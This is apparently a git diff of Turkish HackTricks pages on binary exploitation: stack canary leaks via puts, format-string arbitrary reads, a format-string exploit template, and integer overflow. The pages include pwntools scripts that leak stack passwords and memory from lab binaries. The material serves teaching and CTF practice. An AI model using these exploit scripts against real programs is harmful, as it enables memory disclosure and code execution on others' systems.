* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}
## Yazdırılan Yığını Genişlet
## Yazdırılan yığını genişlet
Bir **yığın taşmasıığına sahip bir programın**, **yığın taşmasının bir kısmına işaret eden bir puts** işlevini **çalıştırabileceği bir durumu hayal edin**. Saldırgan, **canary'nin ilk baytının bir null bayt** (`\x00`) olduğunu ve canary'nin geri kalanının **rastgele** baytlar olduğunu bilir. Daha sonra, saldırgan, **yığın taşmasını oluşturabilir ve yalnızca canary'nin ilk baytına kadar yığını üzerine yazabilir**.
**Yığın taşması**na karşı savunmasız bir **programın** bir **puts** işlevini **yığın taşmasının bir kısmına işaret ederek** çalıştırabileceği bir durumu hayal edin. Saldırgan, **canary'nin ilk baytının bir null bayt** (`\x00`) olduğunu ve canary'nin geri kalanının **rastgele** baytlar olduğunu bilir. Daha sonra, saldırgan, yığının sadece canary'nin ilk baytı hariç olacak şekilde **üzerine yazan bir taşma oluşturabilir**.
Ardından, saldırgan, **payloadun ortasında puts işlevini çağırır** ve bu, **canary'nin tamamını yazdıracaktır** (ilk null bayt hariç).
Ardından, saldırgan, **payload'ın ortasında puts işlevini çağırır** ve bu, canary'nin **tümünü yazdıracaktır** (ilk null bayt hariç).
Bu bilgiyle saldırgan, canary'yi bilerek (aynı program oturumunda) **yeni bir saldırı oluşturabilir ve gönderebilir**.
Bu taktik açıkça çok **sınırlıdır**, çünkü saldırganın, **payloadunun içeriğini yazdırabilmesi**, **canary'yi dışarı çıkarabilmesi** ve ardından aynı program oturumunda **gerçek tampon taşmasını gönderebilmesi** gerekir.
Bu taktik açıkça çok **sınırlıdır**, çünkü saldırganın, **payload'ın içeriğini yazdırabilmesi** ve ardından canary'yi **dışarı çıkarabilmesi** ve daha sonra (aynı program oturumunda) **gerçek tampon taşmasını oluşturabilmesi** gerekmektedir.
**CTF örnekleri:**&#x20;
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım, canary'nin 0x00 baytına kadar taşmasıyla doldurulması ve ardından puts çağrısı yaparak sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP cihazı oluşturulur ve ardından `/bin/sh`'yi çağırmak için `system('/bin/sh')`'yi çağırmak için bir ROP cihazı
* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım canary'nin 0x00 baytına kadar taşma ile doldurmak ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP cihazı oluşturulur ve ardından `/bin/sh` argümanı ile `system`'i çağırmak için bir ROP cihazı oluşturulur.
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
* 32 bit, ARM, relro yok, canary, nx, pie yok. Yığını sızdırmak için puts çağrısıyla taşma + canary'yi sızdırmak ve ROP zinciriyle `system`'ı çağırmak için ret2lib çağrısı
* 32 bit, ARM, relro yok, canary, nx yok, pie yok. Yığından canary'yi sızdırmak için puts çağrısı ile taşma + ret2lib, `system`'i çağırmak için bir ROP zinciri ile r0 (argüman `/bin/sh`) ve pc (system adresi) pop etme
## Keyfi Okuma
@ -40,4 +41,19 @@ Format **dizileri** tarafından sağlanan bir **keyfi okuma** ile canary'yi sız
{% endcontent-ref %}
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Bu zorluk, yığın üzerinden canary'yi okumak için format dizisini çok basit bir şekilde kötüye kullanır
* Bu zorluk, yığından canary'yi okumak için çok basit bir şekilde bir format dizesini kötüye kullanır
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Format Strings - Rastgele Okuma Örneği
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahramana AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary> HackTricks'i Destekleyin </summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
- [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
{% endhint %}
## İkili Okumaya Başla
@ -46,13 +47,9 @@ p.sendline(payload)
log.info(p.clean())
```
* **Ofset 11'dir** çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri **brute-force** ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular `|`) tam bir adresi kontrol etmek mümkündür.
* Adresin tamamı 0x4141414141414141 olduğunda **`%11$p`**'yi kullandım.
* **Format dizesi yükü, adresin ÖNCESİNDE** olmalıdır çünkü **printf, bir null bayta kadar okuma yapar**, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf, null baytı bulacağından format dizesine asla ulaşamaz.
* Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yoktur)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Parolaları Oku
* Adresin tamamı 0x4141414141414141 olduğunda **`%11$p`**'yi kullanarak dolgu ekledim.
* **Format dizesi yükü, adresin ÖNCESİNDE** olmalıdır çünkü **printf, bir null bayta kadar okuma yapmayı durdurur**, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf asla format dizesine ulaşmayacak çünkü bir null bayt bulunacaktır.
* Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yok)
```c
#include <stdio.h>
#include <string.h>
@ -87,9 +84,9 @@ Derleyin:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Stack'ten Okuma
### Stack'ten okuma
**`stack_password`** yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığın üzerindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:
**`stack_password`** yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığının içerisindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:
```python
from pwn import *
@ -110,7 +107,7 @@ Resimde, şifrenin yığın içinde `10.` konumdan sızdırılabileceği görül
### Veri Okuma
Aynı saldırıyı çalıştırarak ancak `%s` yerine `%p` kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu `%25$p` konumunda gerçekleşir. Dahası, sızdırılan adresin (`0xaaaab7030894`) o işlemde bellekteki şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:
Aynı saldırıyı çalıştırarak ancak `%s` yerine `%p` kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu `%25$p` konumunda gerçekleşir. Dahası, sızdırılan adresi (`0xaaaab7030894`) o işlemde bellekte şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
@ -177,16 +174,17 @@ p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Format Strings Şablonu
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
```python
from pwn import *
from time import sleep
@ -152,16 +153,17 @@ format_string.execute_writes()
P.interactive()
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Tamsayı Taşması
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}
## Temel Bilgiler
**Tamsayı taşmasının** merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından uygulanan sınırlama bulunmaktadır.
**Tamsayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından uygulanan sınırlama bulunmaktadır.
Örneğin, bir **8-bit işaretsiz tamsayı**, **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini saklamaya çalışırsanız, saklama kapasitesinin sınırlılığı nedeniyle 0'a döner. Benzer şekilde, **16-bit işaretsiz tamsayı** için, **0 ile 65,535** arasındaki değerleri tutabilir, 65,535'e 1 eklemek değeri tekrar 0'a döndürecektir.
Örneğin, bir **8-bit işaretsiz tamsayı**, **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini saklamaya çalışırsanız, saklama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **16-bit işaretsiz tamsayı** için, **0 ile 65,535** arasındaki değerleri tutabilir, 65,535'e 1 eklemek değeri tekrar 0'a döndürecektir.
Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle 7 bitin büyüklüğü temsil etmesi gerektiğinden kaynaklanır. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), en pozitif sayı ise **127** olarak temsil edilir (ikili `01111111`).
Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle, büyüklüğü temsil etmek için 7 bitin kullanılması nedeniyle gerçekleşir. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), ve en pozitif sayı **127** olarak temsil edilir (ikili `01111111`).
### Maksimum Değerler
Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek çok ilginçtir:
Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek oldukça ilginçtir:
{% tabs %}
{% tab title="Rust" %}
@ -42,11 +43,26 @@ println!("{}", add_result);
```
{% endtab %}
{% tab title="C" %}Integer Taşması
{% tab title="C" %}
Integer taşması, bir değişkenin maksimum değerini aştığında oluşan bir durumdur. Bu durum, genellikle işlemlerde veya bellek tahsisinde hatalı hesaplamalardan kaynaklanır. Örneğin, bir değişkenin maksimum değeri 255 ise, 256 değeri atanırsa, değişken taşar ve 0 değerine geri döner.
## Tamsayı Taşması
Bu tür bir zafiyet, kötü niyetli saldırganların hedef sistemde istismar ettiği yaygın bir güvenlik açığıdır. Integer taşması, bellek bölgelerinin yanlış şekilde yazılmasına ve hedef sistemde istenmeyen davranışlara neden olabilir. Bu nedenle, yazılım geliştiricilerin bu tür durumları önlemek için dikkatli olmaları önemlidir.{% endtab %}
Tamsayı taşması, bir değişkenin maksimum değerini aştığında oluşan bir durumdur. Bu durum, beklenmedik sonuçlara neden olabilir ve kötü niyetli kullanıcılar tarafından istismar edilebilir. Tamsayı taşması genellikle işaretçilerle veya bellek tahsis işlemleriyle ilgili işlemlerde karşılaşılır.
Tamsayı taşması saldırıları genellikle bellek bölgelerine yazma, hizmet reddi veya kötü amaçlı kod yürütme gibi tehlikeli sonuçlara yol açabilir. Bu tür saldırılardan korunmak için giriş doğrulaması yapılmalı ve güvenlik kontrolleri uygulanmalıdır.
Örnek bir tamsayı taşması durumu aşağıdaki gibi olabilir:
```c
int a = INT_MAX;
a = a + 1;
```
Bu durumda, `a` değişkeni maksimum tamsayı değerini aştığı için bir tamsayı taşması oluşacaktır.
Tamsayı taşması genellikle dikkatsizce yazılmış kodlardan kaynaklanır ve iyi bir kod incelemesi ve test süreci ile tespit edilebilir.
{% endtab %}
```c
#include <stdio.h>
#include <limits.h>
@ -69,7 +85,7 @@ return 0;
### Saf taşma
Yazdırılan sonuç, char'ı aştığımız için 0 olacaktır:
Yazdırılan sonuç 0 olacaktır çünkü char'ı aştık:
```c
#include <stdio.h>
@ -82,7 +98,7 @@ return 0;
```
### İmzalıdan İmsiz Dönüşüm
Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama olmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır:
Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama yapılmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır:
```c
#include <stdio.h>
@ -104,35 +120,36 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı bu sayı büyük bir işaretsiz tamsayı olarak yorumlanacaktır, bu da beklenmeyen davranışlara yol açabilir.
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı büyük bir işaretsiz tamsayı olarak yorumlanabilir, bu da beklenmeyen davranışlara yol açabilir.
### Diğer Örnekler
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak mümkündür.
* Sadece 1B, şifrenin boyutunu depolamak için kullanıldığından, taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak mümkündür.
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Verilen birkaç sayıyı kullanarak z3'ü kullanarak, birinci sayı ile çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun:&#x20;
* Verilen bir çift sayıyı kullanarak z3'ü kullanarak, birinci sayıyla çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak ve yığında bir sonraki yerel değişkeni geçerek her iki korumayı da atlatmak mümkündür.
* Sadece 1B, şifrenin boyutunu depolamak için kullanıldığından, taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak ve yığında bir sonraki yerel değişkeni üzerine yazarak her iki korumayı da atlatmak mümkündür.
## ARM64
Bu, [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi **ARM64'te değişmez**.
Bu **ARM64'te değişmez** [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi.
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Bins ve Bellek Tahsisleri
{% hint style="success" %}
